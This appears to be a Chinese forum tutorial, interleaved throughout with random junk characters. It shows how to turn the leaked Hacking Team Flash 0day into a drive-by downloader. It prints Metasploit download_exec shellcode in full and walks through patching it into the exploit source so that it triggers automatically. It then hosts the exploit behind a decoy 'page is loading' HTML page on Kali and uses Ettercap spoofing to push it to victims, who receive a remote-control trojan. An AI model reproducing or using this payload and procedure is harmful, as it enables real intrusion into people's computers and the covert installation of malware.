|
6 s; m- B9 b) Y 三、flash 0day之手工代码修改制作下载者实例入侵演示
* ]" M0 C+ i- c! |! n2 d! d: d! y& N 3 Y7 b6 `, H/ X3 Z4 Y5 B: k
0 I6 F8 {4 y6 L' R, s* g2 R 利用到的工具: # N' e3 }2 W0 I5 X( H+ ^
" P' ` ?& K3 \, {
O9 [; [- Q0 ?( ]# E. Y Msf ' c! L- j1 z, f7 U( N' {! ~
' j' J3 W2 h2 {# v8 F
* P0 H% Z6 L5 K1 z: m7 @
Ettercap
* [) N6 v* f6 B" M7 ? 9 L/ W* L) o6 n$ `4 [0 S
2 L1 S \& y# T) {# |7 M
Adobe Flash CS6
& n& M/ x, y+ T 6 e5 P. q6 j& O# Z) a" }" q
+ I+ d H2 ]2 y* U: E Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份
. R) g4 o* E5 X& v- q ' M* W: g9 t/ V; J
/ C; _: |( E/ t0 `5 V4 t 下面我们就开始演示入侵,利用msf生成shellcode,首先打开msf执行use windows/download_exec,show options 6 `' b5 w8 |. @, `. E: K4 k
6 J+ G r- I% \+ |" T+ ~: D
* U1 U$ L7 R9 e2 X3 S, a4 ]2 [ 如图: # F3 N6 \% b6 E- _. L, Y
6 {2 C& o! o, J( r" Z1 {+ w% G* l# I% U
" m' V O- `/ W) l/ \/ X/ W * n0 j0 p- c9 I* v
+ X+ J2 H+ F$ o7 [2 C4 ~! j ! P3 S" ?9 r' Q& `* k
7 ^) A; Q* O# R$ J3 `0 I
/ D6 B* C9 u; t# N 然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址,这里我们用远控马,远控配置使用不再详细说明。。。如图:
9 B P# z: E' G. _5 A) H $ F1 @- ]: U, x& F
" X9 [* R, F L: c3 R: y2 f) h. f
( g7 T& s3 H" {4 ?3 Q
5 Q2 ^! H, `2 n( `
. p9 s. Y& S3 a9 | [
- y' l; J- p8 p$ O3 J
0 Y* \; v+ H9 D S% _& P
/ y9 C% Y6 [0 v! w3 ] 然后执行generate -t dword生成shellcode,如下:
% }; C& Q9 D! e: j" ~. y* O& Z( T
+ Y5 `. ?/ }' }1 L( b. U
" R. {' E7 d. Y! H$ K9 f* `
8 i) T/ A! K7 X ; P2 I0 P" J$ |2 w7 o$ t* M
2 ~4 j$ H- Q0 m$ M1 Q
复制代码到文本下便于我们一会编辑flash exp,如下:
/ t7 O% E, c6 r- g4 \2 F/ N/ j
# i' h% u7 ]% o, |
" `6 H! x7 {: F7 u 0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31,
7 G6 g$ q/ Z$ Z; P) K- \+ T. B 5 } h& I! i8 B+ G" t; z# W f
( B" e5 j2 J1 r# a. K* M: y( j9 d
0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0,
5 N& C5 ]' b4 j; x5 Z' u" ~
3 M6 n: h% l4 J: p5 w" `9 [: h$ B' @/ N; I+ E9 O
0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038,
6 j, A2 Q! B* _* ?; d 3 Z- z, @8 ]1 f2 l( W! i; ?3 ~7 l
, P% o' b% t" S. p, M2 w' d0 N7 u/ f 0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, 2 Q# ~9 l1 u$ d3 K9 X: B- \( e5 R
4 W+ F* j2 N! r# z, x7 i1 t+ q5 n9 B' S1 N- n9 K7 s5 V- V
0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854,
; V, H' r3 r) `) Q2 [ 5 A- \. ~2 q3 n/ ]/ \8 y
! d# z) W9 Z: F1 k1 u( F
0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51,
. {8 X" O- c1 p% Z" I + G% M5 c+ T% |1 q7 r' i
, v. g2 z; k; Y+ I7 w& ^6 R 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, 3 f+ v8 F3 ]4 ~2 o- b( r
9 D% d: ?- i8 f5 r+ E* t
3 t$ g2 g7 b; O 0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757,
& Z9 c1 @6 H2 ?" E4 Y4 m
3 \2 d. u7 }. ?) t) ~
! U7 X. h: y9 s1 J4 i0 ^# u) S 0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff,
! q0 M# ]! V R- r# h; X; G( p" h; {
$ l* f3 r$ r3 S+ a0 V
4 {' d0 d4 Y4 [ R, m' {" q( X; R 0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6,
, _! c* t* O: g0 K) L! o + i; X! V% s1 p
8 n. e' ~1 I& \2 G) @6 h) m+ R 0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, $ Z6 d$ E# A5 @+ i- R
& w3 \( Y" s7 `5 D
4 H4 F3 e0 k- z3 H, t: |5 h& H' q 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, * L: `& k0 N* ~
% D, }( Q8 x& n0 e& b; S" d0 l8 q
! d$ Q, \* k8 z+ ^3 V& Y! d* z7 J
0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, J+ e8 ~" A' a: H+ a
9 y" Y( r/ f$ k
, U0 g; @- {" _$ `) F 0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000
9 }5 {0 C, e: M% y5 C' G6 k* R6 q6 Z
# i8 J: F0 X: {! g' X0 q+ ]) Z4 W
* y" [% d9 G, `+ {7 }" @
( f6 e, W, @8 c5 u2 t5 o; u 3 b _. Z" O& m% a
* {1 a6 y* I2 O0 x# c z
. ], z) c) h+ ^6 W3 i" F
' w, C. H& [5 X' f
- h+ R0 X* d3 @
下面我们来修改flash 0day exp,需要修改三个文件,分别为:
r' |- ?: J' S5 O7 @ p+ B& M2 t; j! K
# ?2 F3 ?. u) |! K0 q2 ]6 ? + X2 M$ R) C! n
1 v- A2 y3 K% @2 h! r7 Y- b* |- b" `, W5 Z
先修改ShellWin32.as,部分源代码如图: X4 N. t! j n) S8 F1 ^! ?
$ E8 e! ~% ?: h) x0 X) L! Y
* z/ Q& y' P+ L: f% y/ _- Q " ^6 J0 l' q# i8 v
- b: G# |* q" X/ ?: A% Q5 @
4 m+ ^! [- {! L7 z4 p, ]1 N 我们需要把标记处[]中的代码改成用msf生成的代码,修改后如下: 4 K6 p6 M' B6 U
& r. W$ P& {' ?8 m# v/ n% `
3 t6 [- [* }3 e! n
- R) c8 q7 n* n! k K1 ~5 P
3 z4 |4 @3 ^/ Z' J6 E; K* R' H0 m# g- B2 E, J: z8 {! e( l" N/ \
然后保存,ShellWin64.as的修改方法如上述,不再演示,下面我们来修改myclass.as,这里需要说明一下,因为此exp生成的利用程序,不能直接自动触发flash漏洞,也就是需要点击按钮才可以,实际上在做渗透的时候需要把它搞得更完美,所以就需要修改,修改方法:搜索myclass的某个字符doc.addchild(btn);如图: ) u! P" K* ^6 n( F$ }1 d
+ R. A1 Z& i1 q4 D0 W' X7 a' |$ U( k5 I1 ?
, x/ R( h S& @
- z6 x% l) r& }7 G
1 q7 w, h5 Z& \: c- g4 t 换行在后面加一句TryExpl();注意是l不是数字1,然后如图: : {6 O( O- [' A9 ^4 E5 X: H- g6 S
; v- `" u0 D% G. }/ z) z0 ~9 C( W- l& |* |
5 W4 Z* V2 x7 ?
0 w% c6 `- H4 B
' u8 v7 \% O4 v1 u7 q4 I " @0 j9 r/ _8 [, J& N4 D8 h
$ _9 h' |& f9 @# G! p4 u
0 y+ o: \) r4 t j8 U0 |4 x4 L
# ^* m# Z) _$ ]* m; @
. h8 O, n5 k6 G5 x( ^7 @ K5 v2 e5 Y
' X) l- N. E w* W r9 [
然后点保存,下面我们来编译一下,打开
5 y9 U' a! Y" k; v! W
& ~5 S, ? v! |# l' W _4 l1 _2 M" j; W, F
exp1.fla然后点文件-发布,看看编译没错误 9 F! x$ E, @% @8 R
2 ?* t: M) Q5 U6 a
# ^3 u% U: r4 n" i: `' ? ! S5 `" P7 e' M. m# B S6 t' r
3 P! `4 ?# W* U# C0 E B* f+ ?# ?! q4 U6 u; v
1 {% x: p" @$ G/ n: W+ Q" ~& Q
% g# r6 E2 U& Z( R. v
3 B- ^1 y" [( K! R + ^* _6 o4 c) i6 U3 r6 C+ u* w
/ X; R, T* y8 V
, ~" S0 B) ? I* `
2 K* p3 B( h7 a6 u' h9 a9 L
$ C T8 m( k& u _$ Q
6 o; u5 T# X5 \0 `; j 然后我们把生成的 # J) g6 C8 n: m9 s7 i2 O2 b; E1 M
4 [; A& J+ w+ e" j
% I6 W6 q8 E% O: J& F exp1.swf丢到kailinux 的/var/www/html下: % s5 ?# d' ]( Z* [
4 K8 k0 b4 F: D& o- ^3 A2 x
* `; b" t0 P% |. O5 i& r( F9 n) u/ | 然后把这段代码好好编辑一下
1 H2 { M5 Z0 q% b; m: Y# p \; Y
. p1 V% E' e$ v7 u3 N6 P6 @) {( |: k) ^3 D3 W( {$ j
0 v3 x$ a* _6 B& k
0 K; a, t& P/ |$ K
4 M4 Y* N- B% G. m8 H
: I6 F1 u: @! ]; z $ O' T) v1 b& B! _; {
8 n( m+ n! H L8 S9 g2 z: X
9 {" L% ^1 N6 Y . i1 {9 q, H' k L$ r4 f# _" `
9 i! U' A3 ~ ~* D: ?; a
5 d9 L# j: {7 v& o. Q : |& D1 Q% N: S0 p; p2 |9 v% g2 G. I
( S. r( P% |/ \6 l
* R3 m9 n3 \( N8 p9 N9 h
1 U, o4 H# n( y& W% y& a
' ~, [$ E5 W/ @6 k! e% n * p- V7 V: l, {2 F0 d- B! r
1 F; t/ ]" d2 V; x
- ?( U; h3 z) {( D6 n <!DOCTYPE html> 9 e \9 r% Z) n
* r+ R. G& J' R# n9 v
, ?) [& L/ o- g- u <html> 1 ]; L C b" j l1 d
" n2 P8 Z- c& e) {4 w
8 b h2 Z. ?! o+ V6 N <head> 7 {$ P! ^: h) ]# ?" h0 \8 v, b
: l$ I0 Z" O! C! m3 m8 U8 P! T3 K% T* ]
<meta http-equiv="Content-Type" content="text/html; - [ F! s) C; ?) c9 H) J
( ]: I+ V4 n+ J* C$ }& M8 \! o
) p6 @* s' {4 o/ I+ N8 p. _1 t charset=utf-8"/>
2 C+ v. H* g5 a" W s& C |1 l
7 X; A( H' W0 v. _- |9 Y
: E4 G! n; L' j8 B. ? </head> 9 C; p, @3 {* z7 y5 k
0 ^% ?% e6 [$ l# X" p
( W; G, ]2 t( k* Z2 D9 A <body>
' D U' [( M1 s) x1 ]: H6 M! @
+ G4 V& i7 ]) ?3 l' P# N7 E5 I# H2 |
<h2> Please wait, the requested page is loading...</h2>
, h4 s# j% d+ }# T, Y
" h! S& h0 q2 f# t+ i1 m2 h0 s$ N1 R( C' n( `
<br> + u6 K7 r$ |' x, |8 v1 g
8 r4 H O) }( j6 O2 p1 {& m% P$ G! e, ^/ c4 y1 y
<OBJECT
$ N, f* L) ~" n8 F0 a* ~ # n# t8 b9 ?5 j, l1 `4 s3 I
2 T6 m" y+ A5 O8 @2 U3 Z/ q
classid="clsid 27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4">< ARAM NAME=movie ; J4 S/ U; h" T2 X( }0 F
9 D3 I# f# m5 u6 S, y \! I+ K8 z! i! g) F
VALUE="http://192.168.0.109/exp1.swf"></OBJECT> * m* @6 Q# s( x4 H% }
3 u, r% G; K" `6 P* t; T- V8 b7 \" j+ j3 o0 v
</body> 1 _9 n, R1 X' F. C
* ` Y; s5 t1 r! Y+ f' {7 j+ D: H5 t% ~5 h7 w" Y8 S& z$ o
<script>
, k! _# i# [$ e: r# q% F! U % k% y+ ]3 `/ y; }+ z
0 `2 c3 s) D- }* O$ U
setTimeout(function () {
$ ^6 g/ k! w. w; g( r9 Z, `
$ x2 a; y( a( U, m" j; Q% B' x3 r2 _9 U4 {/ Z6 J
; U% K- X+ [2 d( h; H! F: R
+ g4 q' _( @6 T+ A, F. H& q& H1 F$ ]! t- R9 H
window.location.reload(); , E# X3 n7 v) o) @
: y* F4 a! D, ] w4 s) W" [8 S' a) N; W3 | d2 b
}, 10000);
L5 i2 i$ A4 b, B8 b4 p# a" x1 R, V
! I! p7 a0 x3 V) E2 x) E7 r' N* \
/ b4 g ?! t" y* X) g 7 B# D; @8 ~! F1 f: ^
# F7 u# L, d( M2 M' c0 F" q E
2 }( d3 |5 L& I* _% J3 P
</script> % O0 u. R+ M- G; p2 \& [' o
& z! g( a) N6 Z1 |, C- Y4 @0 H, Y4 K
</html> . K& _- l1 m% E: G5 \$ G3 n
' ^, }1 q0 s- s) @
1 ?# @/ n2 T6 a4 s
3 ]! V0 R- h) ?5 B a; { 8 A/ a8 u3 o0 K7 ?$ @
: L0 K: ^# y# B8 X
注意:192.168.0.109是kali的ip地址,这时候我们需要service apache2 start启动一下web服务,然后将上面的html保存为index.htm同样丢到kali web目录下,测试访问链接存在如图: 6 c% @" x6 C( T
% ]0 o1 L7 Y6 E+ y- F( W3 {$ F1 d1 f9 ?; ^
. v. Z3 c3 I" b7 q m 5 g1 s U4 E6 P4 G5 H% h, ]
e2 N! _) \7 |0 B # U. ^- g: z1 s" I/ c! |
% V# S2 ~) Q& ~ W* ~6 ?1 r
0 V' f1 ?* V( u" @! u' K
/ U* j2 [: D, s4 V( E ) l" h; P/ V5 I
5 T6 k1 u: g1 c
4 I9 ~# A# b( G & x( b* ]# p! T2 A
6 _& j& P7 s2 L5 P
. [9 @8 c* v8 L
, O- A' \% ?3 E, Y* [6 @3 r
8 l, V6 P# t7 z, X! f( ? ] 下面我们用ettercap欺骗如图:
. B* ]; K/ ]1 x6 j, R; M
' n/ T! F$ H5 H, f$ N e
+ Y' f8 f% o. g9 S, X: T9 X% } 6 _+ r; } L9 u
* r0 B" I1 |! D. R' X. _; E
, ^* p' O( m% h5 c0 n1 W ]+ T8 ?0 z0 m
. Y8 D( M9 V4 @8 j0 `3 U
* U* X; q/ _: ]! }4 `9 t4 X1 n
下面我们随便访问个网站看看:
0 `: {4 ]7 i! g! ^7 Z7 Y6 o2 w
, s' _' r1 k, J: m1 ^1 ` }: I/ T" A0 `+ u* c% f
我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功,如图:
. b8 b7 f- X' Y* h: T" w $ d# N8 s+ K* b& d: @. |
& h/ {: s1 r8 V- w& J
8 l% k! x) l* ~2 H e1 i" z
: T5 T8 c# c* d9 p ?7 r0 X( B! r4 e. j8 n; r* [
我们看另一台,
7 ]2 t. _' r) {& `3 d$ Z $ T) t2 p; T4 H
9 c$ n2 H/ q1 ]# F$ A# u0 ]. A. t' ] 提示这个错误,说明木马是成功被下载执行了, 只是由于某些原因没上线而已。。。 * j6 j3 o& n; U6 k8 \7 T) A
|